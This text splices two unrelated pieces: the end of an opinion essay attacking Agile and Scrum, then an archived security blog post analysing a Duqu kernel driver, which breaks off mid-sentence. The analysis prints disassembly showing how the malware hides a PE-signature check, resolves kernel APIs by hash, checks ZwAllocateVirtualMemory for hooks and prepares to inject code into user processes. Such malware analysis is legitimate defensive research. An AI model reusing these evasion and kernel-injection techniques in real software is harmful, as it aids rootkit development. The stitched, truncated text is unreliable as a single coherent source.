client: get expectations set, charge appropriately for rework, and maintain a
relationship of equality rather than submission. The second is to accept
client misbehavior \(as, say, many graphic designers must\) and orient one’s
work flow around client-side dysfunction. Programmers tend not to be good at
the first option– of managing the client– because it demands too much in the
way of social acumen, and the second is appealing to a decision-maker who’s
recently been promoted to management and won’t have to do any of the actual
work.

There’s a large spectrum of work under the name of “consulting”. There are
great consulting firms and there are body shops that taken on the lowest kind
of work. Companies tend to give two types of work to consultancies: the
highest-end stuff that they might not have the right people for, and the low-
end dreck work that would be a morale-killer if allocated to people they’d
actually like to retain for a year or few. Scrum is for the body shops, the
ones that expect programmers to suffer when client relationships are
mismanaged and that will take on a lot of low-end, career-incoherent work that
no one wants to do.

So what are Scrum and “Agile”? I could get into the different kinds of
meetings \(“retrospective” and “backlog grooming” and “planning”\) or the
theory, but the fundamental unifying trait is _violent transparency_ , often
one-sided. Programmers are, in many cases, expected to provide humiliating
visibility into their time and work, meaning that they must play a side game
of appearing productive in addition to their actual job duties. Instead of
working on actual, long-term projects that a person could get excited about,
they’re relegated to working on atomized, feature-level “user stories” and
often disallowed to work on improvements that can’t be related to short-term,
immediate business needs \(often delivered from on-high\). Agile eliminates
the concept of ownership and treats programmers as interchangeable,
commoditized components.

In addition to being infantilizing and repellent, Scrum induces needless
anxiety about microfluctuations in one’s own productivity. The violent
transparency means that, in theory, each person’s hour-by-hour fluctuations
are globally visible– and for no good reason, because there’s absolutely no
evidence that any of this snake oil actually makes things get done quicker or
better in the long run. For people with anxiety or mood disorders, who
generally perform well when measured on average long-term productivity, but
who tend to be most sensitive to invasions of privacy, this is outright
discriminatory.

**Specific flaws of “Agile” and Scrum**

_1\. Business-driven engineering._

“Agile” is often sold in comparison to an equally horrible straw man approach
to software design called “Waterfall”. What Waterfall and Agile share \(and a
common source of their dysfunction\) is that they’re business-driven
development. In Waterfall, projects are defined first by business executives,
design is done by middle managers and architects, and then implementation and
operations and testing are carried out by multiple tiers of grunts, with each
of these functions happening in a stage that must be completed before the next
may begin. Waterfall is notoriously dysfunctional and no Agile opponent would
argue to the contrary. Under Waterfall, engineers are relegated to work on
designs and build systems after the important decisions have all been made and
cannot be unmade, and no one talented is motivated to take that kind of
project.

Waterfall replicates the social model of a dysfunctional organization with a
defined hierarchy. The most interesting work is done first and declared
complete, and the grungy details are passed on to the level below. It’s called
“Waterfall” because communication goes only one way. If the design is bad, it
must be implemented anyway. \(The original designers have probably moved to
another project.\) Agile, then, replicates the social model of a dysfunctional
organization _without_ a well-defined hierarchy. It has engineers still quite
clearly below everyone else: the “product owners” and “scrum masters” outrank
“team members”, who are the lowest of the low. Its effect is to disentitle the
more senior, capable engineers by requiring them to adhere to a reporting
process \(work only on your assigned tickets, spend 5-10 hours per week in
status meetings\) designed for juniors. Like a failed communist state that
equalizes by spreading poverty, Scrum in its purest form puts all of
engineering at the same low level: not a clearly spelled-out one, but clearly
below all the business people who are given full authority to decide what gets
worked on.

Agile increases the feedback frequency while giving engineers no real power.
That’s a losing bargain, because it means that they’re more likely to jerked
around or punished when things take longer than they “seem” they should take.
These decisions are invariably made by business people who will call shots
based on emotion rather than deep insight into the technical challenges or the
nature of the development.

Silicon Valley has gotten a lot wrong, especially in the past five years, but
one of the things that it got right is the concept of the engineer-driven
company. It’s not always the best for engineers to drive the entire company,
but when engineers run engineering and set priorities, everyone wins:
engineers are happier with the work they’re assigned \(or, better yet, self-
assigning\) and the business is getting a much higher quality of engineering.

_2\. Terminal juniority_

“Agile” is a culture of terminal juniority, lending support to the \(extremely
misguided\) conception of programming as a “young man’s game”, even though
most of the best engineers are not young and quite a few are not men. Agile
has no exit strategy. There’s no “We won’t have to do this once we achieve ”
clause. It’s designed to be there forever: the “user stories” and business-
driven engineering and endless status meetings will never go away.
Architecture and R&D and product development aren’t part of the programmer’s
job, because those things don’t fit into atomized “user stories” or two-week
sprints. So, the sorts of projects that programmers want to take on, once they
master the basics of the field, are often ignored, because it’s either
impossible to atomize them or it’s far more difficult to do so than just to do
the work.

There’s no role for an actual senior engineer on a Scrum team, and that’s a
problem, because many companies that adopt Scrum impose it on the whole
organization. Aside from a move into management, there is the option of
becoming a “Scrum master” responsible for imposing this stuff on the
young’uns: a bullshit pseudo-management role without power. The only way to
get off a Scrum team and away from living under toxic micromanagement is to
burrow further into the beast and impose the toxic micromanagement on other
people. What “Agile” and Scrum say to me is that older, senior programmers are
viewed as so inessential that they can be ignored, as if programming is a
childish thing to be put away before age 35. I don’t agree with that
mentality. In fact, I think it’s harmful; I’m in my early 30s and I feel like
I’m just starting to be good at programming. Chasing out our elders, just
because they’re seasoned enough to know that this “Agile”/Scrum garbage has
nothing to do with computer science and that it has no value, is a horrible
idea.

_3\. It’s stupidly, dangerously short-term._

Agile is designed for and by consulting firms that are marginal. That is, it’s
for firms that don’t have the credibility that would enable them to negotiate
with clients as equals, and that are facing tight deadlines while each client
project is an existential risk. It’s for “scrappy” underdogs. Now, here’s the
problem: Scrum is often deployed in large companies and funded startups, but
people join those \(leaving financial upside on the table, for the employer to
collect\)  _because they don’t want to be underdogs_. No one wants to play
from behind unless there’s considerable personal upside in doing so. “Agile”
in a corporate job means pain and risk without reward.

When each client project represents existential or severe reputational risk,
Agile might be the way to go, because a focus on short-term iterations is
useful when the company is under threat and there might not be a long term.
Aggressive project management makes sense in an emergency. It doesn’t make
sense as a permanent arrangement; at least, not for high-talent programmers
who have less stressful and more enjoyable options.

Under Agile, technical debt piles up and is not addressed because the business
people calling the shots will not see a problem until it’s far too late or, at
least, too expensive to fix it. Moreover, individual engineers are rewarded or
punished solely based on the completion, or not, of the current two-week
“sprint”, meaning that no one looks out five “sprints” ahead. Agile is just
one mindless, near-sighted “sprint” after another: no progress, no
improvement, just ticket after ticket.

_4\. It has no regard for career coherency._

Atomized user stories aren’t good for engineers’ careers. By age 30, you’re
expected to be able to show that you can work at the whole-project level, and
that you’re at least ready to go beyond such a level into infrastructure,
architecture, research, or leadership. While Agile/Scrum experience makes it
somewhat easier to get junior positions, it eradicates even the possibility of
work that’s acceptable for a mid-career or senior engineer.

In an emergency, whether it’s a consultancy striving to appease an important
client or a corporate “war room”, career coherency can wait. Few people will
refuse to do a couple weeks of unpleasant or career-incoherent work if it’s
genuinely important to the company where they work. If nothing else, the
importance of that work confers a career benefit. When there’s not an
emergency, however, programmers expect their career growth to be taken
seriously and will leave. Using “fish frying” as a term-of-art for grunt work
that no one enjoys, and that has no intrinsic career value to any one, there’s
enough career value \(internal and external to the organization\) in emergency
or high-profile fish frying that people don’t mind doing it. You can say, “I
was in the War Room and had 20 minutes per day with the CEO” and that excuses
fish frying. It means you were valued and important. Saying, “I was on a Scrum
team” says, “Kick me”. Frying fish because you were assigned “user stories”
shows that you were seen as a loser.

_5\. Its purpose is to identify low performers, but it has an unacceptably
false positive rate._

Scrum is sold as a process for “removing impediments”, which is a nice way of
saying “spotting slackers”. The problem with it is that it  _creates_ more
underperformers than it roots out. It’s a surveillance state that requires
individual engineers to provide fine-grained visibility into their work and
rate of productivity. This is defended using the “nothing to hide” argument,
but the fact is that, even for pillar-of-the-community high performers, a
surveillance state is an anxiety state. The fact of being observed changes the
way people work– and, in creative fields, for the worse.

The first topic coming to mind here is _status sensitivity_. Programmers love
to make-believe that they’ve transcended a few million years of primate
evolution related to social status, but the fact is: social status matters,
and you’re not “political” if you acknowledge the fact. Older people, women,
racial minorities, and people with disabilities tend to be status sensitive
because it’s a matter of survival for them. Constant surveillance into one’s
work indicates a lack of trust and low social status, and the most status-
sensitive people \(even if they’re the best workers\) are the first ones to
decline.

Scrum and “Agile” are designed, on the other hand, for the most status-
insensitive people: young, privileged males who haven’t been tested,
challenged, or burned yet at work. It’s for people who think that HR and
management are a waste of time and that people should just “suck it up” when
demeaned or insulted.

Often, it’s the best employees who fall the hardest when Agile/Scrum is
introduced, because R&D is effectively eliminated, and the obsession with
short-term “iterations” or sprints means that there’s no room to try something
that might actually fail.

The truth about underperformers is that you don’t need “Agile” to find out who
they are. People know who they are. The reason some teams get loaded down with
disengaged, incompetent, or toxic people is that no one does anything about
them. That’s a people-level management problem, not a workflow-level process
problem.

_6\. The Whisky Googles Effect_

There seems to be some evidence that Agile and Scrum can nudge the marginally
incompetent into being marginally employable. I call this the Whisky Goggles
Effect: it turns the 3s and 4s into 5s, but it makes you so sloppy that the 7s
and 9s want nothing to do with you. Unable to get their creative juices
flowing under aggressive micromanagement, the best programmers leave.

From the point of view of a manager unaware of how software works, this might
seem like an acceptable trade: a few “prima donna” 7+ leave under the Brave
New Scrum, while the 3s and 4s become just-acceptable 5s. The problem is that
the difference between a “7” programmer and a “5” programmer is substantially
larger than that between a “5” and a “3”. If you lose your best people and
your leaders \(who may not be in leadership roles on the org-chart\) then the
slight upgrade of the incompetents for whom Scrum is designed does no good.

Scrum and Agile play into what I call the Status Profit Bias. Essentially,
many people in business judge their success or failure not in objective terms,
but based on the status differential achieved. Let’s say that the market value
of a “3” level programmer is $50,000 per year and, for a “5” programmer, it’s
$80,000. \(In reality, programmer salaries are all over the map: I know 3’s
making over $200,000 and I know 7’s under $70,000, but let’s ignore that.\)
Convincing a “5” programmer to take a “3”-level salary \(in exchange for
startup equity\!\) is marked, psychologically, not as a mere $30,000 in profit
but as a _2-point_ profit.

Agile/Scrum and the age discrimination culture in general are about getting
the most impressive status profits, rather than actual economic profits. The
people who are least informed about what social status they “should” have are
the young. You’ll find a 22-year-old 6 who thinks that he’s a 3 and who will
submit to Scrum, but the 50-year-old 9 is likely to know that she’s a 9 and
might begrudgingly take 8.5-level conditions but is not about to drop to a 6.
Seeking status profits is, however, extremely short-sighted. There may be a
whole industry in bringing in 5-level engineers and treating \(and paying\)
them like 4’s, but under current market conditions, it’s far more profitable
to hire an 8 and treat him like an 8.

_7\. It’s dishonestly sold._

To cover this point, I have to acknowledge that the uber-Agile process known
as “Scrum” works under a specific set of circumstances; the dishonest
salesmanship is in the indication that this stuff works everywhere, and as a
permanent arrangement.

**What Scrum is good for**

Before the Agile fad, “Scrum” was a term sometimes used for what corporations
might also call a “Code Red” or a “War Room emergency”. This is when a cross-
cutting team must be built quickly to deal with an unexpected and, often,
rapidly-evolving problem. It has no clear manager, but a leader \(like a
“Scrum Master”\) must be elected and given authority and it’s usually best for
that person not to be an official “people manager” \(since he needs to be as
impartial as possible\). Since the crisis is short-term, individuals’ career
goals can be put on hold. It’s considered a “sprint” because people are
expected to work as fast as they can to solve the problem, and because they’ll
be allowed to go back to their regular work once it’s over.

There are two scenarios that should come to mind. The first is a corporate
“war room”, and if specific individuals \(excluding high executives\) are
spending more than about 6 weeks per year in war-room mode, than something is
wrong with the company because emergencies ought to be rare. The second is
that of a consultancy struggling to establish itself, or one that is bad at
managing clients and establishing an independent reputation, and must
therefore operate in a state of permanent emergency.

**Two issues**

Scrum and Agile represent acknowledgement of the idea that emergency powers
must sometimes be given to “take-charge” leaders who’ll do whatever they
consider necessary to get a job done, leaving debate to happen later. A time-
honored problem with emergency powers is that they often don’t go away. In
many circumstances, those empowered by an emergency see fit to prolong it.
This is, most certainly, a problem with management. Dysfunction and emergency
require more managerial effort than a well-run company in peace time.

It is also more impressive for an aspiring demagogue \(a “scrum master”?\) to
be a visible “dragonslayer” than to avoid attracting dragons to the village in
the first place. The problem with Scrum’s aggressive insistence on business-
driven engineering is that it makes a virtue \(“customer collaboration”\) out
of attracting, and slaying, dragons \(known as “requirements”\) when it might
be more prudent not to lure them out of their caves in the first place.

“Agile” and Scrum glorify emergency. That’s the first problem with them.
They’re a reinvention of what the video game industry calls “crunch time”.
It’s not sustainable. An aggressive focus on individual performance, a lack of
concern for people’s career objectives in work allocation, and a mandate that
people work only on the stated top priority, all have value in a short-term
emergency but become toxic in the long run. People will tolerate those changes
if there’s a clear point ahead when they’ll get their autonomy back.

The second issue is that these practices are _sold dishonestly_. There’s a
whole cottage industry that has grown up around teaching companies to be
“Agile” in their software development. The problem is that most of the core
ideas aren’t new. The terminology is fresh, but the concepts are mostly
outdated, failed “scientific management” \(which was far from scientific, and
didn’t work\).

If the downsides and upsides of “Agile” and Scrum were addressed, then I
wouldn’t have such a strong problem with the concept. If a company has a team
of only junior developers and needs to deliver features fast, it should
consider using these techniques for a short phase, with the plan to remove
them as its people grow and timeframes become more forgiving. However, if
Scrum were sold for what it is– a set of emergency measures that can’t be used
to permanently improve productivity– then there would be far fewer buyers for
it, and the “Agile” consulting industry wouldn’t exist. Only through a
dishonest representation of these techniques \(glorified “crunch time”,
packaged as permanent fixes\) are they made salable.

**Looking forward**

It’s time for most of “Agile” and especially Scrum to die. These aren’t just
bad ideas. They’re more dangerous than that, because there’s a generation of
software engineers who are absorbing them without knowing any better. There
are far too many young programmers being doomed to mediocrity by the idea that
business-driven engineering and “user stories” are how things have always been
done. This ought to be prevented; the future integrity of our industry may
rely on it. “Agile” is a bucket of nonsense that has nothing to do with
programming and certainly nothing to do with computer science, and it ought to
be tossed back into the muck from which it came.

About these ads

# stratBLOG - stratsec security research: Actually, my name is Duqu - Stuxnet
is my middle name

**Created:**| _3/23/2012 12:07:46 PM_  
---|---  
**Updated:**| _3/23/2012 12:07:46 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

### Actually, my name is Duqu - Stuxnet is my middle name

A couple of days ago Symantec Security Response has discovered a new strain of
Duqu, a close relative of Stuxnet that is compiled from the same source code
and shares many similarities with it.  
  
The only captured sample is a kernel mode driver. It is not clear if this
driver was accompanied with other previously unseen components of if it was
the only modified part of the latest known set of Duqu files. To get some
answers about its functionality, let's dissect the newly discovered Duqu
driver both statically and dynamically.  
  
**Decoding Parameters**  
  
A quick static view shows that the driver starts its execution from decoding a
built-in parameters section:  

[code]

      
    .text:00010D90 sub_decode_parameters proc near  
    .text:00010D90         push    esi  
    .text:00010D91         mov     eax, 0B86249A9h  
    .text:00010D96         xor     ecx, ecx  
    .text:00010D98         push    edi  
    .text:00010D99         lea     esp, [esp+0]  
    .text:00010DA0 loop:  
    .text:00010DA0         xor     byte_14F90[ecx], al  
    .text:00010DA6         mov     esi, eax  
    .text:00010DA8         and     esi, 0Bh  
    .text:00010DAB         shl     esi, 18h  
    .text:00010DAE         shr     eax, 5  
    .text:00010DB1         or      esi, eax  
    .text:00010DB3         and     esi, 1FFFFFFFh  
    .text:00010DB9         mov     eax, esi  
    .text:00010DBB         imul    esi, eax  
    .text:00010DBE         mov     edi, eax  
    .text:00010DC0         imul    edi, 0F64301Ah  
    .text:00010DC6         xor     esi, 395Ch  
    .text:00010DCC         lea     esi, [esi+edi+0Dh]  
    .text:00010DD0         add     ecx, 1  
    .text:00010DD3         xor     eax, esi  
    .text:00010DD5         cmp     ecx, 574          ; 574 bytes in total  
    .text:00010DDB         jb      short loop  
    .text:00010DDD         mov     ax, word ptr buf_enc  
    .text:00010DE3         test    ax, ax  
    .text:00010DE6         pop     edi  
    .text:00010DE7         pop     esi  
    .text:00010DE8         jnz     short exit  
    .text:00010DEA         movzx   ecx, word ptr [edx]  
    .text:00010DED         mov     edx, [edx+4]  
    .text:00010DF0         push    ecx               ; size_t  
    .text:00010DF1         push    edx               ; void *  
    .text:00010DF2         push    offset buf_enc  
    .text:00010DF7         call    memcpy  
    .text:00010DFC         add     esp, 0Ch  
    .text:00010DFF  
    .text:00010DFF exit:  
    .text:00010DFF         retn  
    .text:00010DFF sub_decode_parameters endp  
    
[/code]

  
The built-in parameters is a common technique that allows hard-coding some
variable parameters into the executable body without the need to recompile the
executable itself. Just like in case of ZeuS \(that calls it a "static
configuration"\), a stand-alone script is likely to be invoked in this case to
patch a pre-compiled executable stub with the encrypted parameters - a scheme
that allows spitting out new executables "on-the-fly" and thus allows to be
used in the server-based polimorphism.  
  
But what are the hard-coded parameters in this case?  
  
Stepping through the code reveals the decoded parameters:  
<img src='img/Temp2_10645.png' />  
  
The decoded parameters are:  

  * Name of the device to be created:  
`\Device\{3093AAZ3-1092-2929-9391}`

  

  * Registry branch that will be used to store the driver information:  
`\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\mcd9x86`

  

  * Registry value `FILTER` that is known from the previous Duqu variant to contain encoded injection parameters

  
  
Following that, the driver code creates device objects with `IoCreateDevice()`
by using the names:  
`\Device\{BFF55DF2-6530-4935-8CF6-6D6F7DC0AA48}`  
`\Device\{3093AAZ3-1092-2929-9391}`  
  
Duqu then creates a WorkItem routine for a work item, then it inserts the work
item into a queue for a system worker thread. Once a system worker thread
pulls the work item from the queue, it will call the specified callback
routine - a place where the rest of the driver functionality resides.  
  
**Checking the integrity of ZwAllocateVirtualMemory\(\)**  
  
Once the callback routine is invoke, Duqu calls `ZwQuerySystemInformation()`
API with the `SystemModuleInformation` parameter to obtain the list of modules
loaded into the kernel. Name of every enumerated module is then compared with
`_stricmp()` to `"ntkrnlpa.exe"` or `"ntoskrnl.exe"` strings in order to find
the image base of those modules.  
  
With the known image base of the kernel image, the driver then parses its PE-
file structure. In order to hide its intentions, the code conceals the
searching for "PE" signature as detecting that kind of code immediately rises
suspision. Instead, it `XOR`-es the PE signature field with `0xF750F284`, then
checks if the result is equal `0xF750B7D4`, as shown below:  

[code]

      
    .text:00012F1E         mov     eax, 'ZM'            ; MZ header  
    .text:00012F23         cmp     [esi], ax  
    .text:00012F26         jz      short next           ; get lfanew  
                          ...  
    .text:00012F2D next:  
    .text:00012F2D         mov     eax, [esi+3Ch]       ; get lfanew  
    .text:00012F30         add     eax, esi             ; add it to image base  
    .text:00012F32         mov     ecx, [eax]           ; read the DWORD from there  
    .text:00012F34         xor     ecx, 0F750F284h      ; it must be 'P' 'E' '0' '0'  
    .text:00012F3A         cmp     ecx, 0F750B7D4h  
    .text:00012F40         jnz     short quit           ; if no PE-signature, quit  
    
[/code]

  
Following the PE headers check, the code starts enumerating all sections
within the kernel image, inspecting all those sections that are
readable/executable and have a name `".text"` or `"PAGE"`. The section name
check is carried out by hashing section name and then checking the hash
against 2 known hashes of `".text"` and `"PAGE"` \- `0xAB405E8F` and
`0x18DB09E1`:  

[code]

      
    .text:00012040 check_next_section:  
    .text:00012040         movzx   eax, di  
    .text:00012043         lea     edx, [eax+eax*4]  
    .text:00012046         mov     eax, [ebp+edx*8+24h]  
    .text:0001204A         lea     esi, [ebp+edx*8+0]  
    .text:0001204E         and     eax, 62000020h       ; ignore non-page flag  
    .text:00012053         cmp     eax, 60000020h       ; make sure it's read/exec  
    .text:00012058         jnz     short inc_check_next_section  
    .text:0001205A         mov     ecx, esi  
    .text:0001205C         call    hash_section_name  
    .text:00012061         cmp     eax, 0AB405E8Fh      ; hash of ".text" string  
    .text:00012066         jz      short next  
    .text:00012068         cmp     eax, 18DB09E1h       ; hash of "PAGE" string  
    .text:0001206D         jnz     short inc_check_next_section  
    
[/code]

  
Once it locates the image section that it is happy with, it starts an
interesting routine to process that section and make sure it can recognise the
implementation of `ZwAllocateVirtualMemory()` function within that section.
Here is how it does that.  
  
The code will start parsing the export table of the kernel image
`ntkrnlpa.exe`. It will then hash the exported function names looking for the
hashes of the APIs it is interested in, and collecting the addresses of those
APIs:  

[code]

      
    .text:0001219D         lea     eax, [esp+34h+ptr]  
    .text:000121A1         push    47E31156h       ; hash of "PsGetProcessSessionId"  
    .text:000121A6         push    eax  
    .text:000121A7         call    find_api_by_hash  
    .text:000121AC         lea     ecx, [esp+3Ch+ptr]  
    .text:000121B0         push    0C9FD3510h      ; hash of "PsGetProcessPeb"  
    .text:000121B5         push    ecx  
    .text:000121B6         mov     PsGetProcessSessionId, eax  
    .text:000121BB         call    find_api_by_hash  
    .text:000121C0         lea     edx, [esp+44h+ptr]  
    .text:000121C4         push    612F3500h       ; hash of "PsLookupProcessByProcessId"  
    .text:000121C9         push    edx  
    .text:000121CA         mov     PsGetProcessPeb, eax  
    .text:000121CF         call    find_api_by_hash  
    .text:000121D4         mov     PsLookupProcessByProcessId, eax  
    .text:000121D9         lea     eax, [esp+4Ch+ptr]  
    .text:000121DD         push    1407F237h       ; hash of "PsSetLoadImageNotifyRoutine"  
    .text:000121E2         push    eax  
    .text:000121E3         call    find_api_by_hash  
    .text:000121E8         lea     ecx, [esp+54h+ptr]  
    .text:000121EC         push    4A1D957Fh       ; hash of "KeStackAttachProcess"  
    .text:000121F1         push    ecx  
    .text:000121F2         mov     PsSetLoadImageNotifyRoutine, eax  
    .text:000121F7         call    find_api_by_hash  
    .text:000121FC         lea     edx, [esp+5Ch+ptr]  
    .text:00012200         push    7E676A4Ch       ; hash of "KeUnstackDetachProcess"  
    .text:00012205         push    edx  
    .text:00012206         mov     KeStackAttachProcess, eax  
    .text:0001220B         call    find_api_by_hash  
    .text:00012210         add     esp, 40h  
    .text:00012213         mov     KeUnstackDetachProcess, eax  
    .text:00012218         lea     eax, [esp+24h+ptr]  
    .text:0001221C         push    0D3C50AD9h      ; hash of "ObOpenObjectByPointer"  
    .text:00012221         push    eax  
    .text:00012222         call    find_api_by_hash  
    .text:00012227         lea     ecx, [esp+2Ch+ptr]  
    .text:0001222B         push    0E5AC234h       ; hash of "ZwQuerySystemInformation"  
    .text:00012230         push    ecx  
    .text:00012231         mov     ObOpenObjectByPointer, eax  
    .text:00012236         call    find_api_by_hash  
    .text:0001223B         lea     edx, [esp+34h+ptr]  
    .text:0001223F         push    0F82D7E6Dh      ; hash of "ZwAllocateVirtualMemory"  
    .text:00012244         push    edx  
    .text:00012245         mov     ZwQuerySystemInformation, eax  
    .text:0001224A         call    find_api_by_hash  
    .text:0001224F         mov     ZwAllocateVirtualMemory, eax  
    .text:00012254         lea     eax, [esp+3Ch+ptr]  
    .text:00012258         push    7C19400Ch       ; hash of "ZwOpenFile"  
    .text:0001225D         push    eax  
    .text:0001225E         call    find_api_by_hash  
    .text:00012263         lea     ecx, [esp+44h+ptr]  
    .text:00012267         push    0DA18F72Ch      ; hash of "ZwQueryInformationFile"  
    .text:0001226C         push    ecx  
    .text:0001226D         mov     ZwOpenFile, eax  
    .text:00012272         call    find_api_by_hash  
    .text:00012277         lea     edx, [esp+4Ch+ptr]  
    .text:0001227B         push    0C840A85Dh      ; hash of "ZwQueryInformationProcess"  
    .text:00012280         push    edx  
    .text:00012281         mov     ZwQueryInformationFile, eax  
    .text:00012286         call    find_api_by_hash  
    .text:0001228B         mov     ZwQueryInformationProcess, eax  
    .text:00012290         lea     eax, [esp+54h+ptr]  
    .text:00012294         push    8619E771h       ; hash of "ZwReadFile"  
    .text:00012299         push    eax  
    .text:0001229A         call    find_api_by_hash  
    .text:0001229F         add     esp, 38h  
    .text:000122A2         mov     ZwReadFile, eax  
    
[/code]

  
Once the API addresses it needs are obtained, it starts parsing the entire
section of the kernel image looking for the byte seqence `68 04 01 00 00`.
These bytes correspond a `"push 104h"` instruction:  

[code]

      
    .text:00011ED0 next_byte:  
    .text:00011ED0         mov     edx, [esi]  
    .text:00011ED2         cmp     edx, dword ptr ds:push_104h  
    .text:00011ED8         jz      short found_push_104h  
    .text:00011EDA         add     esi, 1  
    .text:00011EDD         cmp     esi, ecx  
    .text:00011EDF         jbe     short next_byte  
    
[/code]

  
Once `"push 104h"` instruction is found, it starts looking for an instruction
that follows it, an instruction that starts from `E8` \(`CALL`\) and followed
with a relative offset of the function to call. The code makes sure that the
offset is precisely equal to a difference between the virtual address of the
next instruction that follows `CALL` \(5 bytes forward\) and the virtual
address of the function `ZwAllocateVirtualMemory()` \- an address that it has
just retrieved from the import address table of `ntkrnlpa.exe`. That is, it
makes sure the offset corresponds `ZwAllocateVirtualMemory()` function:  

[code]

      
    .text:00011C60 loop:  
    .text:00011C60         lea     ebp, [eax+edi]  ; EDI=ntkrnlpa.exe base, starts from IAT  
    .text:00011C63         cmp     ebp, esi        ; pointer limit  
    .text:00011C65         jnb     short exit  
    .text:00011C67         cmp     byte ptr [ecx], 0E8h ; E8 = CALL opcode  
    .text:00011C6A         jnz     short next_byte  
    .text:00011C6C         mov     ebp, [ecx+1]  
    .text:00011C6F         lea     ebp, [ecx+ebp+5]  
    .text:00011C73         cmp     ebp, edx        ; EDX=ZwAllocateVirtualMemory() address  
    .text:00011C75         jz      short found_ZwAllocateVirtualMemory  
    .text:00011C77 next_byte:  
    .text:00011C77         add     eax, 1  
    .text:00011C7A         sub     ecx, 1  
    .text:00011C7D         cmp     eax, 128        ; limit = 128 bytes  
    .text:00011C82         jb      short loop      ; EDI=ntkrnlpa.exe base, starts from IAT  
    
[/code]

  
For example, it aims to find the following code construction within
`ntkrnlpa.exe` \(note the `"push 104h"` instruction encoded as `68 04 01 00
00` and the last instruction's opcode of `E8`\):  

[code]

      
    .text:8052111C 68 04 01 00 00   push    104h            ; PAGE_READWRITE | PAGE_GUARD  
    .text:80521121 50               push    eax             ; AllocationType  
    .text:80521122 8D 45 E0         lea     eax, [ebp+AllocationSize]  
    .text:80521125 50               push    eax             ; AllocationSize  
    .text:80521126 53               push    ebx             ; ZeroBits  
    .text:80521127 8D 45 E4         lea     eax, [ebp+BaseAddress]  
    .text:8052112A 50               push    eax             ; BaseAddress  
    .text:8052112B 6A FF            push    0FFFFFFFFh      ; ProcessHandle  
    .text:8052112D E8 96 C2 FD FF   call    ZwAllocateVirtualMemory  
    
[/code]

  
In the context of `ZwAllocateVirtualMemory()` call, the `"push 104h"`
instruction means passing that function a "Protect" parameter as
`PAGE_READWRITE` and `PAGE_GUARD`.  
  
Next, it enumerates all the section headers within `ntkrnlpa.exe` looking for
a section with a virtual address space enclosing the virtual address of
`ZwAllocateVirtualMemory()`. In short, it needs to know what section of the PE
image implements `ZwAllocateVirtualMemory()` function.  

[code]

      
    .text:00012E66 next_section:  
    .text:00012E66         movzx   eax, di  
    .text:00012E69         imul    eax, 28h  
    .text:00012E6C         add     eax, esi  
    .text:00012E6E         mov     ecx, [eax+8]             ; section virtual size  
    .text:00012E71         mov     edx, [eax+10h]           ; section's raw data size  
    .text:00012E74         cmp     ecx, edx  
    .text:00012E76         jb      short next  
    .text:00012E78         mov     ecx, edx  
    .text:00012E7A  
    .text:00012E7A next:  
    .text:00012E7A         mov     eax, [eax+0Ch]           ; section RVA  
    .text:00012E7D         add     eax, [ebp+image_base]    ; section VA  
    .text:00012E80         cmp     [ebp+ZwAllocateVirtualMemory], eax  
    .text:00012E83         jb      short inc_section_number ; jump if section VA  
    .text:00012E83                                          ; is less than ZwAllocateVirtualMemory  
    .text:00012E85         add     eax, ecx                 ; section VA + size = end of section  
    .text:00012E87         cmp     [ebp+ZwAllocateVirtualMemory], eax  
    .text:00012E8A         jb      short found_section      ; ZwAllocateVirtualMemory must be  
    .text:00012E8C                                          ; less than the end of section  
    .text:00012E8C inc_section_number:  
    .text:00012E8C         inc     edi                      ; increment section counter  
    .text:00012E8D         cmp     di, bx                   ; make sure it's less than section num  
    .text:00012E90         jb      short next_section       ; check next section  
    
[/code]

  
The section that it finds must also be `".text"` or `"PAGE"`, and must be
read/executable:  

[code]

      
    .text:00011CC8         mov     ecx, [edi+24h]           ; get section's characteristics  
    .text:00011CCB         and     ecx, 62000020h           ; ignore non-page flag  
    .text:00011CD1         cmp     ecx, 60000020h           ; read/executable?  
    .text:00011CD7         jnz     short loop  
    .text:00011CD9         mov     ecx, edi  
    .text:00011CDB         call    hash_section_name  
    .text:00011CE0         cmp     eax, 0AB405E8Fh          ; hash of ".text" string  
    .text:00011CE5         jz      short next               ; code section's virtual size  
    .text:00011CE7         cmp     eax, 18DB09E1h           ; hash of "PAGE" string  
    .text:00011CEC         jnz     short loop  
    
[/code]

  
Once it locates precisely where `ZwAllocateVirtualMemory()` is implemented:  

[code]

      
    .text:00011CFA         mov     edx, [edi+0Ch]           ; section RVA  
    .text:00011CFD         add     edx, [ebp+8]             ; + image_base = section VA  
    .text:00011D00         add     edx, eax                 ; end of section  
    .text:00011D02         lea     eax, [esi+14h]           ; VA of ZwAllocateVirtualMemory  
    .text:00011D05         cmp     eax, edx  
    .text:00011D07         ja      short loop  
    .text:00011D09         call    matches_ZwAllocateVirtualMemory_opcodes  
    .text:00011D0E         test    al, al  
    .text:00011D10         jnz     short found_match  
    
[/code]

  
it starts matching the opcodes of this function to its own internal opcode
mask:  

[code]

      
    .text:00011BC5         sub     ecx, offset opcodes_mask  
    .text:00011BCB         lea     edx, [eax+1]  
    .text:00011BCE         mov     edi, edi  
    .text:00011BD0 check_next_byte:  
    .text:00011BD0         mov     bl, ds:opcodes_mask[ecx+eax]  
    .text:00011BD7         and     bl, ds:opcodes_mask[eax]  
    .text:00011BDD         cmp     bl, ds:expected_opcodes[eax]  
    .text:00011BE3         jnz     short quit  
    .text:00011BE5         add     eax, edx  
    .text:00011BE7         cmp     eax, 20                  ; check 20 bytes only  
    .text:00011BEA         jb      short check_next_byte  
    
[/code]

  
The `expected_opcodes` and `opcodes_mask` mentioned above are defined in the
code as shown below \(`expected_opcodes` is selected in yellow, `opcodes_mask`
is selected in blue\):  
  
<img src='img/Temp2_10647.png' />  
  
If a byte in the mask is `00`, the corresponding opcode byte is ignored; if
it's `FF`, the opcode byte must have an exact match with the expected opcode
byte. The `expected_opcodes` masked with the `opcodes_mask` reveal the exact
implementation of `ZwAllocateVirtualMemory()` within ntkrnlpa.exe:  
  
<img src='img/Temp2_10648.png' />  
  
By checking if `ZwAllocateVirtualMemory()` code matches a known opcode
pattern, Duqu is able to find out if there are any hooks placed for the
kernel's `ZwAllocateVirtualMemory()` API.  
  
  
**Querying FILTER value**  
  
Duqu driver next proceeds to its final stage - code injection into the
userland process.  
  
The techniques that inject code into the usermode processes from the kernel
mode are not new, but unlike threats like Rustock, Duqu does not carry the
stub to inject inside its own body. Instead, it is configured to be used in a
more flexible manner. It is likely that the driver was developed by a separate
programmer who then provided an interface for other members of his crew to use
it. He must have described the interface as _" encrypt a DLL to inject this
way, create a registry value for my driver, save all the required parameters
